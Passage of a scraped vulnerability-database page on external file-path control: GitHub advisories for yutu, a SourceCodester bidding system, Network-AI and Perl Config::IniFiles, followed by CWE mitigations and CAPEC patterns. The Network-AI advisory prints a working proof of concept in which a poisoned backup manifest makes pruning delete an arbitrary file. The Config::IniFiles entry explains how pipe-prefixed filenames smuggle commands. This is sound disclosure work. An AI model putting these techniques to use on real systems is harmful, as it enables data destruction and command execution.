\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n build_cmd = [\n \"docker\", \"build\",\n \"--no-cache\",\n \"-t\", IMAGE_NAME,\n \"-f\", DOCKERFILE,\n CONTEXT_DIR,\n ]\n print(\"\\n[Step 1] Building Docker image ...\")\n result = run(build_cmd, capture_output=False)\n if result.returncode != 0:\n print(\"\\n[FAIL] Docker build failed.\", file=sys.stderr)\n sys.exit(1)\n\n # \u2500\u2500 Run \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n run_cmd = [\"docker\", \"run\", \"--rm\", IMAGE_NAME]\n print(\"\\n[Step 2] Running PoC container ...\")\n result = run(run_cmd, capture_output=True)\n\n stdout = result.stdout or \"\"\n stderr = result.stderr or \"\"\n print(stdout, end=\"\")\n if stderr:\n print(stderr, end=\"\", file=sys.stderr)\n\n # \u2500\u2500 Verdict \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n passed = (\n result.returncode == 0\n and \"VULNERABILITY CONFIRMED\" in stdout\n and \"PASS\" in stdout\n and \"os.Create bypasses pkg.Root\" in stdout\n )\n\n if passed:\n print(\"\\n[RESULT] PASS \u2013 vulnerability dynamically reproduced.\")\n else:\n print(f\"\\n[RESULT] FAIL \u2013 container exit code {result.returncode}.\", file=sys.stderr)\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
  "id": "GHSA-2c7f-fxww-6w6c",
  "modified": "2026-07-14T19:34:47Z",
  "published": "2026-07-14T19:34:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eat-pray-ai/yutu/security/advisories/GHSA-2c7f-fxww-6w6c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eat-pray-ai/yutu/commit/87026c4eee1ed28775383807087343a750707bf3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eat-pray-ai/yutu"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eat-pray-ai/yutu/releases/tag/v0.10.9-dev1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "yutu: Arbitrary File Write via MCP `caption-download` Tool"
}

GHSA-2FG7-FW8C-2WPM

Vulnerability from github – Published: 2024-08-18 21:31 – Updated: 2024-08-18 21:31
VLAI
Details

A vulnerability was found in SourceCodester Simple Online Bidding System 1.0. It has been classified as critical. This affects an unknown part of the file /simple-online-bidding-system/bidding/index.php. The manipulation of the argument page leads to file inclusion. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-7911"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-18T20:15:04Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in SourceCodester Simple Online Bidding System 1.0. It has been classified as critical. This affects an unknown part of the file /simple-online-bidding-system/bidding/index.php. The manipulation of the argument page leads to file inclusion. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-2fg7-fw8c-2wpm",
  "modified": "2024-08-18T21:31:07Z",
  "published": "2024-08-18T21:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7911"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Wsstiger/cve/blob/main/simple_include.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.275037"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.275037"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.391657"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2FMP-9RVW-HC96

Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42
VLAI
Summary
Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning
Details

Summary

EnvironmentManager.listBackups() reads each backup's _manifest.json and trusts the manifest's path field. EnvironmentManager.pruneBackups() later passes that trusted entry.path directly to rmSync(entry.path, { recursive: true, force: true }).

An attacker who can place or modify a manifest inside data/<env>/.backups/<name>/_manifest.json can cause network-ai env backup prune --env <env> --keep <n> or any code path invoking pruneBackups() to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.

Details

listBackups() trusts manifest content from disk:

for (const name of readdirSync(backupsDir)) {
  const manifest = join(backupsDir, name, '_manifest.json');
  if (existsSync(manifest)) {
    try {
      const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry;
      entries.push(entry);
    } catch { /* corrupt manifest, skip */ }
  }
}

pruneBackups() uses the attacker-controlled entry.path as the deletion target:

const toDelete = all.slice(keep);
let deleted = 0;
for (const entry of toDelete) {
  try {
    rmSync(entry.path, { recursive: true, force: true });
    deleted++;
  } catch { /* ignore */ }
}

Default CLI reachability exists through network-ai env backup prune --env <env> --keep <n>.

Affected source evidence:

  • lib/env-manager.ts:505-523 — reads trusted backup entries from _manifest.json.
  • lib/env-manager.ts:529-541 — recursively deletes entry.path.
  • bin/cli.ts:464-472 — default CLI exposes backup pruning.

PoC

This PoC uses only a temporary directory and deletes only a temporary file:

TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;

const mgr = new EnvironmentManager(path.join(base, 'data'), {
  chain: ['dev', 'st'],
  gates: { dev: 'auto', st: 'auto' },
});

mgr.init('dev');
fs.writeFileSync(path.join(base, 'victim.txt'), 'safe');

const backupsDir = path.join(base, 'data', 'dev', '.backups');
fs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true });
fs.writeFileSync(
  path.join(backupsDir, 'evil', '_manifest.json'),
  JSON.stringify({
    backupId: 'evil',
    env: 'dev',
    timestamp: '2000-01-01T00:00:00.000Z',
    sizeBytes: 0,
    path: path.join(base, 'victim.txt'),
  })
);

console.log(JSON.stringify({
  before: fs.existsSync(path.join(base, 'victim.txt')),
  deleted: mgr.pruneBackups('dev', 0),
  after: fs.existsSync(path.join(base, 'victim.txt')),
}, null, 2));

fs.rmSync(base, { recursive: true, force: true });
TS

Observed result: before is true, deleted is 1, and after is false, proving deletion occurred outside data/dev/.backups.

Impact

An attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.

Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.

pruneBackups() no longer passes entry.path from the on-disk manifest to rmSync. The deletion path is recomputed from a format-validated entry.backupId, and a dirname containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. "path": "/") is now inert.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Severity
7.1 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "network-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:42:26Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`EnvironmentManager.listBackups()` reads each backup\u0027s `_manifest.json` and trusts the manifest\u0027s `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`.\n\nAn attacker who can place or modify a manifest inside `data/\u003cenv\u003e/.backups/\u003cname\u003e/_manifest.json` can cause `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.\n\n### Details\n`listBackups()` trusts manifest content from disk:\n\n```ts\nfor (const name of readdirSync(backupsDir)) {\n  const manifest = join(backupsDir, name, \u0027_manifest.json\u0027);\n  if (existsSync(manifest)) {\n    try {\n      const entry = JSON.parse(readFileSync(manifest, \u0027utf-8\u0027)) as BackupEntry;\n      entries.push(entry);\n    } catch { /* corrupt manifest, skip */ }\n  }\n}\n```\n\n`pruneBackups()` uses the attacker-controlled `entry.path` as the deletion target:\n\n```ts\nconst toDelete = all.slice(keep);\nlet deleted = 0;\nfor (const entry of toDelete) {\n  try {\n    rmSync(entry.path, { recursive: true, force: true });\n    deleted++;\n  } catch { /* ignore */ }\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:505-523` \u2014 reads trusted backup entries from `_manifest.json`.\n- `lib/env-manager.ts:529-541` \u2014 recursively deletes `entry.path`.\n- `bin/cli.ts:464-472` \u2014 default CLI exposes backup pruning.\n\n### PoC\nThis PoC uses only a temporary directory and deletes only a temporary file:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - \u003c\u003c\u0027TS\u0027\nconst { EnvironmentManager } = require(\u0027./lib/env-manager\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst base = process.env.TMPBASE;\n\nconst mgr = new EnvironmentManager(path.join(base, \u0027data\u0027), {\n  chain: [\u0027dev\u0027, \u0027st\u0027],\n  gates: { dev: \u0027auto\u0027, st: \u0027auto\u0027 },\n});\n\nmgr.init(\u0027dev\u0027);\nfs.writeFileSync(path.join(base, \u0027victim.txt\u0027), \u0027safe\u0027);\n\nconst backupsDir = path.join(base, \u0027data\u0027, \u0027dev\u0027, \u0027.backups\u0027);\nfs.mkdirSync(path.join(backupsDir, \u0027evil\u0027), { recursive: true });\nfs.writeFileSync(\n  path.join(backupsDir, \u0027evil\u0027, \u0027_manifest.json\u0027),\n  JSON.stringify({\n    backupId: \u0027evil\u0027,\n    env: \u0027dev\u0027,\n    timestamp: \u00272000-01-01T00:00:00.000Z\u0027,\n    sizeBytes: 0,\n    path: path.join(base, \u0027victim.txt\u0027),\n  })\n);\n\nconsole.log(JSON.stringify({\n  before: fs.existsSync(path.join(base, \u0027victim.txt\u0027)),\n  deleted: mgr.pruneBackups(\u0027dev\u0027, 0),\n  after: fs.existsSync(path.join(base, \u0027victim.txt\u0027)),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `before` is `true`, `deleted` is `1`, and `after` is `false`, proving deletion occurred outside `data/dev/.backups`.\n\n### Impact\nAn attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` \u2014 published to npm with provenance.\n\n`pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.",
  "id": "GHSA-2fmp-9rvw-hc96",
  "modified": "2026-06-19T21:42:26Z",
  "published": "2026-06-19T21:42:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Jovancoding/Network-AI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning"
}

GHSA-2G88-7QC8-9VXV

Vulnerability from github – Published: 2026-06-14 12:30 – Updated: 2026-06-19 21:32
VLAI
Details

Config::IniFiles versions before 3.001000 for Perl allow OS command injection and file overwrite via a 2-arg open() of the -file argument in _make_filehandle.

Config::IniFiles::_make_filehandle opens a filename argument with Perl's 2-arg open(), so a filename that begins or ends with a pipe ("| cmd", "cmd |") or begins with a redirect ("> path", ">> path") is run as a command or redirect rather than opened as a file. The helper is the open path behind the documented -file argument: new(-file => $thing) reaches it through ReadConfig. An in-memory scalar reference (-file => \$text) does not open a path and is unaffected.

Any caller that forwards untrusted input to the -file argument can run an arbitrary command or truncate a file under the process UID.

Severity
8.6 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-11527"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-14T12:16:23Z",
    "severity": "HIGH"
  },
  "details": "Config::IniFiles versions before 3.001000 for Perl allow OS command injection and file overwrite via a 2-arg open() of the -file argument in _make_filehandle.\n\nConfig::IniFiles::_make_filehandle opens a filename argument with Perl\u0027s 2-arg open(), so a filename that begins or ends with a pipe (\"| cmd\", \"cmd |\") or begins with a redirect (\"\u003e path\", \"\u003e\u003e path\") is run as a command or redirect rather than opened as a file. The helper is the open path behind the documented -file argument: new(-file =\u003e $thing) reaches it through ReadConfig. An in-memory scalar reference (-file =\u003e \\$text) does not open a path and is unaffected.\n\nAny caller that forwards untrusted input to the -file argument can run an arbitrary command or truncate a file under the process UID.",
  "id": "GHSA-2g88-7qc8-9vxv",
  "modified": "2026-06-19T21:32:47Z",
  "published": "2026-06-14T12:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11527"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shlomif/perl-Config-IniFiles/commit/3e48f9627fbba4dae5de35be1f735cdeb7e47fb8.patch"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2026/06/msg00026.html"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/SHLOMIF/Config-IniFiles-3.001000/changes"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/06/14/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Mitigation
Architecture and Design Operation
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Implementation

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Mitigation
Installation Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Mitigation
Operation Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Mitigation
Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

CAPEC-13: Subverting Environment Variable Values

The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.

CAPEC-267: Leverage Alternate Encoding

An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-72: URL Encoding

This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.

CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic

This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.

← Back to the CWE list